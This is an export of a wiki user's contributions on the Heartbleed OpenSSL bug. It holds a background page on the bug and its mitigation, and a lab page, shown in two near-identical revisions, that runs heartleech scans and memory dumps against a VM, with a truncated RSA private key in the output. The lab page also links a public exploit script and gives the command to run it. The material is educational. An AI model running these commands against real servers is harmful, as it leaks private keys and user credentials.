Elvis Wiki - User contributions [en]

Heartbleed

2024-12-13T19:16:33Z

AAssadzadeh:

== Summary ==

This page explains the background information of the "Heartbleed" bug.
The purpose of this documentation is not to guide attackers to reproduce the heartbleed attack, it should only highlight the functionality. See [[Heartbleed Attacks]] for two demonstrations of the Heartbleed exploit.

== Requirements ==

* Webserver e.g. (nginx / apache)
* OpenSSL between version 1.0.1 and 1.0.1f (Download from https://github.com/openssl/openssl/branches/all)

== Background ==

* HTTP communication usually takes place over TCP/IP connections.
* TCP is reliable, but a continuous data exchange is needed.
* HTTPS Websites are encrypted with SSL.
* The Webserver has available sockets which allows connections to clients.
* Webserver have timers, after a set time of x - seconds the session gets closed if the client is inactive.
* To keep the session alive, the web-browser sends heartbeat requests which are processed by the server.
* Heartbleed has been classified as a [[Buffer Overflows]] vulnerability.

=== Heartbeat ===

* Is an extension first implemented in OpenSSL in 2012 <ref name="RFC 6520">R. Seggelmann, M. Tuexen, M. Williams ''Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) Heartbeat Extension'' https://www.rfc-editor.org/rfc/rfc6520.html (accessed December 13, 2024). </ref>.
* Special data package.
* Possible size: 16 Bytes < Heartbeat Message < 64Kb.
* “Heartbeat Requests” are sent from Webbrowser to Webserver to keep the session alive.
* The server answers with a “Heartbeat Respond” which contains the exact same dataset.

==== Example ====
''Web browsers (client) sends a length and a message''
* Web browser sends message with length 5: ‘hello’
* Web server responds with the exact same message : ‘hello’

=== Heartbleed (CVE-2014-0160)===

* Vulnerable code written by a German graduate student in 2011, approved by a British consultant <ref name="HumanSideHeartbleed"> Bruce Schneier ''The Human Side of Heartbleed'' https://www.schneier.com/blog/archives/2014/06/the_human_side_.html. (accessed December 22, 2023).</ref>.
* Heartbleed discovered in 2014 by a Neel Mehta, a member of Google's security team <ref name="HumanSideHeartbleed" />.
* The heartbeat request can be executed multiple times in a row.
* Rebuilds a picture of the attacked web server's RAM.

==== Example ====
* Web browser sends message with length 65536: ‘hello’
* The server reads a full 64 KiB from memory and sends it to the client
* Web server allocates a dataslot of 64 KiB and copies the message ‘hello’ in the first place. The rest of the 65536 - ‘hello’ size is appended with data retrieved from its RAM
* The web server responds with the filled 64 KiB dataslot (including content of RAM)

== Consequences ==
The greatest obstacle with the Heartbleed bug is that the exploitation does not leave any trace or any peculiar indication behind. Consequently, the abuse of the security hole cannot be detected. <ref name="Synopsys"> I. h. Synopsys ''The heartbleed bug'' https://heartbleed.com/. (accessed October 9, 2022).</ref>

Due to the fact that half a million sites were or are vulnerable, it is possible that a number of websites to this day have not been patched and are thus still vulnerable to the Heartbleed exploit. <ref> B. Schneier, ''Heartbleed'', https://www.schneier.com/blog/archives/2014/04/heartbleed.html/.
(accessed October 11, 2022).</ref>

The only way to prevent further damage and to mitigate the vulnerability is to upgrade OpenSSL to the fixed version or to recompile OpenSSL with the handshake removed from the code. <ref name="Synopsys" />

A great asset which built out of this situation, is that service providers that suffered from the Heartbleed Bug updated software in use and enhanced their security. <ref name="Synopsys" />

A specific case of the Hearbleed exploitation occurred in Canada where a teenager had stolen 900 social security numbers in a matter of hours <ref name="HeartbleedCanada"> Heise, Daniel AJ Sokolov ''Heartbleed: Datendiebstahl beim kanadischen Finanzamt'' https://www.heise.de/news/Heartbleed-Datendiebstahl-beim-kanadischen-Finanzamt-2169832.html. (accessed December 22, 2023).</ref>.

Moreover, Heartbleed lead to more conspiracy theories about the NSA, as anonymous sources have claimed that the NSA had been exploiting the vulnerability for two years prior to the public announcement <ref name="MoreHeartbleed"> Bruce Schneier ''More on Heartbleed'' https://www.schneier.com/blog/archives/2014/04/more_on_heartbl.html. (accessed December 22, 2023).</ref>.

== Solution for the Heartbleed bug ==
The solution for the Heartbleed bug was to patch OpenSSL to the 1.0.1g version. The patch included a bounds check which uses the right record length in the SSL3 structure that declared the incoming HeartbeatMessage <ref name="RSLabs">R.S.Labs, ''How the heartbleed bug affects you'', https://rhinosecuritylabs.com/research/how-heartbleed-affects-you/. (accessed December 22, 2023).</ref>.

=== Solution for individuals ===
As consumers of web services, the vast majority of the responsibility lies with the provider of the service. Nevertheless, changing passwords in the case of a frequently visited website being exploited is strongly recommended. It is advised to always use different passwords for different services. The habit of using a password manager is profitable <ref name="RSLabs" />.

=== Solution for businesses ===
Since this vulnerability leaves no trace, it is advised to set precautions. The first step to approach is to patch the system and regenerate any SSL certificates. Consumers shall be encouraged to change their passwords. An ever more effective path would be to force a password change. As this bug is to be taken very seriously, it is crucial to take the corresponding steps to protect consumers as a responsible business. In case of concern that your servers and internal information may have been leaked, an additional step would be to undergo a security assessment. <ref name="RSLabs" />

=== Secure Coding Practices ===
In order to prevent similar mistakes and vulnerabilities, OWASP provides numerous guides about secure coding practices, including checklists for input validation, session management, data protection, error handling and logging, etc. <ref name="OWASPGuide">OWASP, ''OWASP Secure Coding Practices-Quick Reference Guide'', https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/ (accessed December 22, 2023).</ref>.

==Similarities to Cloudbleed==
Cloudbleed was a major security bug discovered in 2017 within the infrastructure of the major IT company Cloudflare. This bug, much like Heartbleed, exposed sensitive information due to a buffer overflow issue, caused by a human error in the code. The leakage occurred under certain circumstances involving certain HTML content and Cloudflare features. Much like Heartbleed, Cloudbleed demonstrated the possibility of human error in critical software <ref name="CloudflareGraham">Cloudflare, ''Incident report on memory leak caused by Cloudflare parser bug'', https://blog.cloudflare.com/incident-report-on-memory-leak-caused-by-cloudflare-parser-bug/. (accessed December 22, 2023).</ref> <ref name="CloudflarePrince">Cloudflare, ''Quantifying the Impact of "Cloudbleed"'', https://blog.cloudflare.com/quantifying-the-impact-of-cloudbleed/. (accessed December 22, 2023).</ref>.

==References==

[[Category:Documentation]]

Heartbleed Attacks

2024-12-13T18:52:28Z

AAssadzadeh:

== Testing tools ==
There are multiple ways to assess if a website is vulnerable to the Heartbleed security
risk.

== Attack 1==

The result of a Heartbleed Bug is shown in the following picture.

[[File:HeartbleedAttack.png]]
=== Interpretation ===

The left hand column represents the HEAP address, the column in the middle contains the fetched data in a hexadecimal representation.
The right hand column is the actual readable output. Here, user credentials, banking information or even the encryption method may be stated.

(Reminder: the attacked server must implement an OpenSSL version between 1.0.1 and 1.0.1.f)

=== Heartleech by Robert David Graham ===
The project can be found under following URL: "https://github.com/robertdavidgraham/heartleech"
The first step to test a system for the vulnerabilty to the Heartbleed Bug with the Heartleech testing tool is to install Heartleech on Kali Linux with the command:<ref name="Gebeshuber">K. Gebeshuber, E. Teiniker, and W. Zugaj, ''Real Life Exploitation'', p. 485–488. Rheinwerk, 2019. </ref>

<pre>
$ apt−get install heartleech
usage: heartleech <hostname> −f<filename> [−p<port >] ...
<filename> is a DNS name or IP address of the target
<filename is where the heartbleed information is stored
<port> is the port number, defaulting to 433
</pre>

After successful installation, the option –scan examines a system for its vulnerability. <ref name="Gebeshuber" />

<pre>
$ heartleech www.google.com −p 443 −−scan
−−− heartleech/1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
www.google.com:443: SAFE
</pre>

To showcase a vulnerable system, a Virtual Machine with the vulnerable Ubuntu 12.04 with an Apache web server was used and the Heartleech identified the system as VULNERABLE. <ref name="Gebeshuber" />

<pre>
$ heartleech −−scan 192.168.40.145
192.168.40.145:443: VULNERABLE
</pre>

Conceding that Heartleech command is used without any other parameter, it will read
data from the memory until the program was to be aborted. <ref name="Gebeshuber" />

<pre>
$ heartleech 192.168.40.145
1896737 byted downloaded (101.215 −mbps)
</pre>

To find private information the –autopawn and –threads options can be used. In this
case Heartleech found a RSA Private Key in the vulnerable memory. <ref name="Gebeshuber" />

<pre>
$ heartleech 192.168.40.145 −−autopwn −−threads 20
−−− heartleech / 1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
0 byted downloaded (0.000 −mbps )
−−−−−BEGIN RSA PRIVATE KEY−−−−−
MIIEowIBAAKCAQEAwgrg7H+rjMb0FEkf /d3VeZe68NwMF+maKHc
...
−−−−−END RSA PRIVATE KEY−−−−−
</pre>

== Attack 2==

Furthermore, the Heartbleed bug can be demonstrated using a freely available exploit script found on Github.

First, a server ISO image is to be downloaded from here: https://old-releases.ubuntu.com/releases/12.04.4/. This version of Ubuntu features the vulnerable OpenSSl version 1.0.1 from March 2012.

[[File:UbuntuServer12.04.4DownloadPage.png]]

After creating a virtual machine from this image in Oracle VirtualBox Manager, it is necessary to change the Network Adapter setting of Adapter 1 to Bridged Adapter as can be seen in the image below.

[[File:UbuntuServer12.04.4NetworkAdapterSettings.png]]

Next, edit the /etc/apt/sources.list file so update and upgrade operations will be redirected to legacy Ubuntu servers:
[[File:UbuntuServer12.04.4EditSourceListCommand.png]]

[[File:UbuntuServer12.04.4SourcesListEdit.png|800px]]

Execute "sudo apt-get update" to retrieve package information from the Ubuntu legacy servers and then install Apache by executing "sudo apt-get install apache2":

[[File:UbuntuServer12.04.4InstallApache2.png|1000px]]

Enable the SSL module and the default webpage bundled with Apache2 by executing „sudo a2enmod ssl“ and „sudo a2ensite default-ssl“:

[[File:UbuntuServer12.04.4EnableSSLModuleAndDefaultPage.png|900px]]

Restart the web server and determine its IP address:

[[File:UbuntuServer12.04.4RestartWebServerAndDetermineIPAddress.png|800px]]

Download a Kali Linux image from here: https://www.kali.org/get-kali/#kali-virtual-machines to create a Client virtual machine and choose the VirtualBox option.

After setting the Client up, change the Network Adapter settings of Adapter 1 to Bridged Adapter as shown in the image below.

[[File:KaliLinux2024.3NetworkAdapterSettings.png]]

Open a browser on the Client machine and verify the web server's availability by accessing "https://" followed by its known IP address.
You will be shown a warning about the web server's self-signed certificate and can take a look at it by clicking on "View Certificate":

[[File:KaliLinux2024.3WarningMessage.png|1200px]]

Execute "openssl s_client -connect " followed by the web server's IP address to diagnose the web server:

[[File:KaliLinux2024.3SClient 1.png]]

[[File:KaliLinux2024.3SClient 2.png]]

Save a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py) available on Github (https://gist.github.com/sh1n0b1/10100394) locally via clicking the "Raw" button and choosing the "Save Page As..." option as shown below.

[[File:HeartbleedExploitGithub.png|1200px]]

[[File:SavingHeartbleedExploitScript.png|1200px]]

Execute the exploit script via "python2.7 {location of the script} {web server's IP address}":

[[File:HeartbleedExploitOutput 1.png]]

[[File:HeartbleedExploitOutput 2.png]]

While the above screenshots do not reveal sensitive information, a malicious entity exploiting a web server which implements session management is highly likely to reveal cryptographic information and/or login credentials eventually <ref name="Heartbleed">Ghafoor, Imran and Jattala, Imran and Durrani, Shakeel and Muhammad Tahir, Ch. ''Analysis of OpenSSL Heartbleed vulnerability for embedded systems'' in ''17th IEEE International Multi Topic Conference 2014'', p. 314-319. 2014.</ref>.

==References==

[[Category:Documentation]]

Heartbleed Attacks

2024-12-13T18:50:51Z

AAssadzadeh: Presented an alternative way to execute the Heartbleed attack.

== Testing tools ==
There are multiple ways to assess if a website is vulnerable to the Heartbleed security
risk.

== Attack 1==

The result of a Heartbleed Bug is shown in the following picture.
[[File:HeartbleedAttack.png]]
=== Interpretation ===

The left hand column represents the HEAP address, the column in the middle contains the fetched data in a hexadecimal representation.
The right hand column is the actual readable output. Here, user credentials, banking information or even the encryption method may be stated.

(Reminder: the attacked server must implement an OpenSSL version between 1.0.1 and 1.0.1.f)

=== Heartleech by Robert David Graham ===
The project can be found under following URL: "https://github.com/robertdavidgraham/heartleech"
The first step to test a system for the vulnerabilty to the Heartbleed Bug with the Heartleech testing tool is to install Heartleech on Kali Linux with the command:<ref name="Gebeshuber">K. Gebeshuber, E. Teiniker, and W. Zugaj, ''Real Life Exploitation'', p. 485–488. Rheinwerk, 2019. </ref>

<pre>
$ apt−get install heartleech
usage: heartleech <hostname> −f<filename> [−p<port >] ...
<filename> is a DNS name or IP address of the target
<filename is where the heartbleed information is stored
<port> is the port number, defaulting to 433
</pre>

After successful installation, the option –scan examines a system for its vulnerability. <ref name="Gebeshuber" />

<pre>
$ heartleech www.google.com −p 443 −−scan
−−− heartleech/1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
www.google.com:443: SAFE
</pre>

To showcase a vulnerable system, a Virtual Machine with the vulnerable Ubuntu 12.04 with an Apache web server was used and the Heartleech identified the system as VULNERABLE. <ref name="Gebeshuber" />

<pre>
$ heartleech −−scan 192.168.40.145
192.168.40.145:443: VULNERABLE
</pre>

Conceding that Heartleech command is used without any other parameter, it will read
data from the memory until the program was to be aborted. <ref name="Gebeshuber" />

<pre>
$ heartleech 192.168.40.145
1896737 byted downloaded (101.215 −mbps)
</pre>

To find private information the –autopawn and –threads options can be used. In this
case Heartleech found a RSA Private Key in the vulnerable memory. <ref name="Gebeshuber" />

<pre>
$ heartleech 192.168.40.145 −−autopwn −−threads 20
−−− heartleech / 1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
0 byted downloaded (0.000 −mbps )
−−−−−BEGIN RSA PRIVATE KEY−−−−−
MIIEowIBAAKCAQEAwgrg7H+rjMb0FEkf /d3VeZe68NwMF+maKHc
...
−−−−−END RSA PRIVATE KEY−−−−−
</pre>

== Attack 2==

Furthermore, the Heartbleed bug can be demonstrated using a freely available exploit script found on Github.

First, a server ISO image is to be downloaded from here: https://old-releases.ubuntu.com/releases/12.04.4/. This version of Ubuntu features the vulnerable OpenSSl version 1.0.1 from March 2012.

[[File:UbuntuServer12.04.4DownloadPage.png]]

After creating a virtual machine from this image in Oracle VirtualBox Manager, it is necessary to change the Network Adapter setting of Adapter 1 to Bridged Adapter as can be seen in the image below.

[[File:UbuntuServer12.04.4NetworkAdapterSettings.png]]

Next, edit the /etc/apt/sources.list file so update and upgrade operations will be redirected to legacy Ubuntu servers:
[[File:UbuntuServer12.04.4EditSourceListCommand.png]]

[[File:UbuntuServer12.04.4SourcesListEdit.png|800px]]

Execute "sudo apt-get update" to retrieve package information from the Ubuntu legacy servers and then install Apache by executing "sudo apt-get install apache2":

[[File:UbuntuServer12.04.4InstallApache2.png|1000px]]

Enable the SSL module and the default webpage bundled with Apache2 by executing „sudo a2enmod ssl“ and „sudo a2ensite default-ssl“:

[[File:UbuntuServer12.04.4EnableSSLModuleAndDefaultPage.png|900px]]

Restart the web server and determine its IP address:

[[File:UbuntuServer12.04.4RestartWebServerAndDetermineIPAddress.png|800px]]

Download a Kali Linux image from here: https://www.kali.org/get-kali/#kali-virtual-machines to create a Client virtual machine and choose the VirtualBox option.

After setting the Client up, change the Network Adapter settings of Adapter 1 to Bridged Adapter as shown in the image below.

[[File:KaliLinux2024.3NetworkAdapterSettings.png]]

Open a browser on the Client machine and verify the web server's availability by accessing "https://" followed by its known IP address.
You will be shown a warning about the web server's self-signed certificate and can take a look at it by clicking on "View Certificate":

[[File:KaliLinux2024.3WarningMessage.png|1200px]]

Execute "openssl s_client -connect " followed by the web server's IP address to diagnose the web server:

[[File:KaliLinux2024.3SClient 1.png]]

[[File:KaliLinux2024.3SClient 2.png]]

Save a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py) available on Github (https://gist.github.com/sh1n0b1/10100394) locally via clicking the "Raw" button and choosing the "Save Page As..." option as shown below.

[[File:HeartbleedExploitGithub.png|1200px]]

[[File:SavingHeartbleedExploitScript.png|1200px]]

Execute the exploit script via "python2.7 {location of the script} {web server's IP address}":

[[File:HeartbleedExploitOutput 1.png]]

[[File:HeartbleedExploitOutput 2.png]]

While the above screenshots do not reveal sensitive information, a malicious entity exploiting a web server which implements session management is highly likely to reveal cryptographic information and/or login credentials eventually <ref name="Heartbleed">Ghafoor, Imran and Jattala, Imran and Durrani, Shakeel and Muhammad Tahir, Ch. ''Analysis of OpenSSL Heartbleed vulnerability for embedded systems'' in ''17th IEEE International Multi Topic Conference 2014'', p. 314-319. 2014.</ref>.

==References==

[[Category:Documentation]]

File:HeartbleedExploitOutput 2.png

2024-12-13T18:27:09Z

AAssadzadeh: Output generated by a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py) (Part 2).

== Summary ==
Output generated by a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py) (Part 2).

File:HeartbleedExploitOutput 1.png

2024-12-13T18:24:49Z

AAssadzadeh: Output generated by a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py) (Part 1).

== Summary ==
Output generated by a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py) (Part 1).

File:SavingHeartbleedExploitScript.png

2024-12-13T18:20:08Z

AAssadzadeh: Saving a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py).

== Summary ==
Saving a Heartbleed exploit script (https://gist.githubusercontent.com/sh1n0b1/10100394/raw/634aef12c0dcf06921986e22ad9b3f955b33697f/ssltest.py).

File:HeartbleedExploitGithub.png

2024-12-13T18:15:08Z

AAssadzadeh: Heartbleed exploit script available on Github (https://gist.github.com/sh1n0b1/10100394).

== Summary ==
Heartbleed exploit script available on Github (https://gist.github.com/sh1n0b1/10100394).

File:KaliLinux2024.3SClient 2.png

2024-12-13T18:10:15Z

AAssadzadeh: Diagnosing the Ubuntu 12.04.4 web server (Part 2).

== Summary ==
Diagnosing the Ubuntu 12.04.4 web server (Part 2).

File:KaliLinux2024.3SClient 1.png

2024-12-13T18:07:21Z

AAssadzadeh: Diagnosing the Ubuntu 12.04.4 web server (Part 1).

== Summary ==
Diagnosing the Ubuntu 12.04.4 web server (Part 1).

File:KaliLinux2024.3WarningMessage.png

2024-12-13T17:55:24Z

AAssadzadeh: Kali Linux 2024.3 warning the user when trying to access a web server with a self-signed certificate.

== Summary ==
Kali Linux 2024.3 warning the user when trying to access a web server with a self-signed certificate.

File:KaliLinux2024.3NetworkAdapterSettings.png

2024-12-13T17:43:08Z

AAssadzadeh: Changing the Kali Linux 2024.3 Network Adapter settings.

== Summary ==
Changing the Kali Linux 2024.3 Network Adapter settings.

File:UbuntuServer12.04.4RestartWebServerAndDetermineIPAddress.png

2024-12-13T17:25:04Z

AAssadzadeh: Restarting Apache2 Web server and determining its IP address on Ubuntu 12.04.4.

== Summary ==
Restarting Apache2 Web server and determining its IP address on Ubuntu 12.04.4.

File:UbuntuServer12.04.4EnableSSLModuleAndDefaultPage.png

2024-12-13T17:19:34Z

AAssadzadeh: Enabling SSL Module and Apache2 default webpage on Ubuntu 12.04.4.

== Summary ==
Enabling SSL Module and Apache2 default webpage on Ubuntu 12.04.4.

File:UbuntuServer12.04.4InstallApache2.png

2024-12-13T17:12:39Z

AAssadzadeh: Installing Apache2 on Ubuntu 12.04.4.

== Summary ==
Installing Apache2 on Ubuntu 12.04.4.

File:UbuntuServer12.04.4EditSourceListCommand.png

2024-12-13T17:03:49Z

AAssadzadeh: Ubuntu 12.04.4 Command for editing /etc/apt/sources.list.

== Summary ==
Ubuntu 12.04.4 Command for editing /etc/apt/sources.list.

File:UbuntuServer12.04.4SourcesListEdit.png

2024-12-13T16:56:38Z

AAssadzadeh: Ubuntu 12.04.4 Editing /etc/apt/sources.list.

== Summary ==
Ubuntu 12.04.4 Editing /etc/apt/sources.list.

File:UbuntuServer12.04.4NetworkAdapterSettings.png

2024-12-13T16:35:17Z

AAssadzadeh: Ubuntu 12.04.4 Network Adapter Settings.

== Summary ==
Ubuntu 12.04.4 Network Adapter Settings.

File:UbuntuServer12.04.4DownloadPage.png

2024-12-13T16:33:28Z

AAssadzadeh: Ubuntu 12.04.4 Download page (https://old-releases.ubuntu.com/releases/12.04.4/).

== Summary ==
Ubuntu 12.04.4 Download page (https://old-releases.ubuntu.com/releases/12.04.4/).

File:UbuntuServer12.04.4CreationDialog.png

2024-12-13T16:23:14Z

AAssadzadeh: Creation Dialog of a Ubuntu 12.04.4 virtual machine in Oracle VirtualBox Manager.

== Summary ==
Creation Dialog of a Ubuntu 12.04.4 virtual machine in Oracle VirtualBox Manager.

Heartbleed Attacks

2024-12-13T16:04:14Z

AAssadzadeh: Attacks